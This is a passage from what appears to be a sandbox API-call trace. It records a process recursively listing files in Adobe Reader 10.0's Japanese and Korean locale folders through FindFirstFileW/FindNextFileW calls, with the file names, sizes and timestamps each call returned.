lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.JPN", cAlternateFileName="")) returned 1 [0221.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.574] GetProcessHeap () returned 0x550000 [0221.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0221.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0221.574] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.575] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.575] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.575] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.575] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0221.575] GetProcessHeap () returned 0x550000 [0221.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0221.575] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0221.575] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.JPN", cAlternateFileName="")) returned 1 [0221.576] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 1 [0221.576] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 0 [0221.576] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0221.576] GetProcessHeap () returned 0x550000 [0221.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.577] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0221.577] GetProcessHeap () returned 0x550000 [0221.577] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.KOR", cAlternateFileName="")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.KOR", cAlternateFileName="ADOBEC~1.KOR")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.KOR", cAlternateFileName="")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.KOR", cAlternateFileName="BRDLAN~1.KOR")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.KOR", cAlternateFileName="")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.KOR", cAlternateFileName="")) returned 1 [0221.608] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.KOR", cAlternateFileName="MAKEAC~1.KOR")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.KOR", cAlternateFileName="MULTIM~1.KOR")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fafdf80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.KOR", cAlternateFileName="READOU~1.KOR")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.KOR", cAlternateFileName="SAVEAS~1.KOR")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.KOR", cAlternateFileName="")) returned 1 [0221.609] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.610] GetProcessHeap () returned 0x550000 [0221.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0221.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0221.635] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.635] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.640] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.640] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.640] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0221.640] GetProcessHeap () returned 0x550000 [0221.640] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0221.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0221.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.KOR", cAlternateFileName="")) returned 1 [0221.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 1 [0221.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, 